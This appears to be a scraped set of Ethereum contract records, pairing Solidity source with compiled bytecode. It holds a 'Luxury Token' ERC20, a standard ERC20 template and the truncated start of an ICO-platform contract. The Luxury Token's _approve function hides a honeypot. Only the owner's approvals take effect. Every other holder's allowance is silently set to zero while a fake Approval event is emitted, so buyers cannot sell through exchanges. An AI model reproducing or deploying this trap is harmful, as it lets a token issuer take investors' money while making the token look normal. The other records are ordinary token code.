SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'Luxury Token - https://t.me/luxurytokenerc'; string private _symbol = '$LUX'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function _approve(address lux, address to, uint256 amount) private { require(lux != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (lux == owner()) { _allowances[lux][to] = amount; emit Approval(lux, to, amount); } else { _allowances[lux][to] = 0; emit Approval(lux, to, 4); } } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c70565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110ba60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c70565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110986022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b825780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610c6b565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110736025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111086023913960400191505060405180910390fd5b610de8816040518060600160405280602681526020016110e260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9c578082015181840152602081019050610f81565b50505050905090810190601f168015610fc95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122069addfc7756b2f4897becbea908f1919058cb0930bf744079b8942fa0b2deeff64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,457
0x1fCEcC90F635A24FA8f29C1740977b1A89281418
/** *Submitted for verification at Etherscan.io on 2021-06-06 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20Template is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_, address to_, uint256 amount_) { _name = name_; _symbol = symbol_; _mint(to_, amount_); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190611015565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610ffa565b60405180910390f35b610104610326565b6040516101119190611117565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610ffa565b60405180910390f35b610152610431565b60405161015f9190611132565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610ffa565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190611117565b60405180910390f35b6101d061052e565b6040516101dd9190611015565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610ffa565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610ffa565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190611117565b60405180910390f35b6060600380546102859061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061127b565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90611097565b60405180910390fd5b61042585610414610759565b858461042091906111bf565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190611169565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d9061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546105699061127b565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610683906110f7565b60405180910390fd5b6106a9610697610759565b8585846106a491906111bf565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906110d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890611057565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190611117565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906110b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390611037565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490611077565b60405180910390fd5b8181610aa991906111bf565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190611169565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190611117565b60405180910390a350505050565b505050565b600081359050610bbf8161131c565b92915050565b600081359050610bd481611333565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611205565b82525050565b6000610ce48261114d565b610cee8185611158565b9350610cfe818560208601611248565b610d078161130b565b840191505092915050565b6000610d1f602383611158565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d85602283611158565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610deb602683611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e51602883611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610eb7602583611158565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f1d602483611158565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f83602583611158565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fe581611231565b82525050565b610ff48161123b565b82525050565b600060208201905061100f6000830184610cca565b92915050565b6000602082019050818103600083015261102f8184610cd9565b905092915050565b6000602082019050818103600083015261105081610d12565b9050919050565b6000602082019050818103600083015261107081610d78565b9050919050565b6000602082019050818103600083015261109081610dde565b9050919050565b600060208201905081810360008301526110b081610e44565b9050919050565b600060208201905081810360008301526110d081610eaa565b9050919050565b600060208201905081810360008301526110f081610f10565b9050919050565b6000602082019050818103600083015261111081610f76565b9050919050565b600060208201905061112c6000830184610fdc565b92915050565b60006020820190506111476000830184610feb565b92915050565b600081519050919050565b600082825260208201905092915050565b600061117482611231565b915061117f83611231565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111b4576111b36112ad565b5b828201905092915050565b60006111ca82611231565b91506111d583611231565b9250828210156111e8576111e76112ad565b5b828203905092915050565b60006111fe82611211565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000600282049050600182168061129357607f821691505b602082108114156112a7576112a66112dc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611325816111f3565b811461133057600080fd5b50565b61133c81611231565b811461134757600080fd5b5056fea2646970667358221220923c074d9439d40d1c2dbf976f5a5a0fc6b5eb332d58852aee026af293e62a3264736f6c63430008000033
{"success": true, "error": null, "results": {}}
5,458
0x43938f165269dd98e47d490136626f4b8896d85c
/* 8888888 .d8888b. .d88888b. .d8888b. 888 888 888 888 d88P Y88b d88P" "Y88b d88P Y88b 888 888 888 888 888 888 888 888 Y88b. 888 888 888 888 888 888 888 "Y888b. 888888 8888b. 888d888 888888 .d8888b 88888b. 888 888 888 888 "Y88b. 888 "88b 888P" 888 d88P" 888 "88b 888 888 888 888 888 "888 888 .d888888 888 888 888 888 888 888 Y88b d88P Y88b. .d88P Y88b d88P Y88b. 888 888 888 Y88b. d8b Y88b. 888 888 8888888 "Y8888P" "Y88888P" "Y8888P" "Y888 "Y888888 888 "Y888 Y8P "Y8888P 888 888 Rocket startup for your ICO The innovative platform to create your initial coin offering (ICO) simply, safely and professionally. All the services your project needs: KYC, AI Audit, Smart contract wizard, Legal template, Master Nodes management, on a single SaaS platform! */ pragma solidity ^0.4.21; // File: contracts\zeppelin-solidity\contracts\ownership\Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts\zeppelin-solidity\contracts\lifecycle\Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: contracts\zeppelin-solidity\contracts\math\SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts\zeppelin-solidity\contracts\token\ERC20\ERC20.sol /** * @title ERC20 interface * @dev see 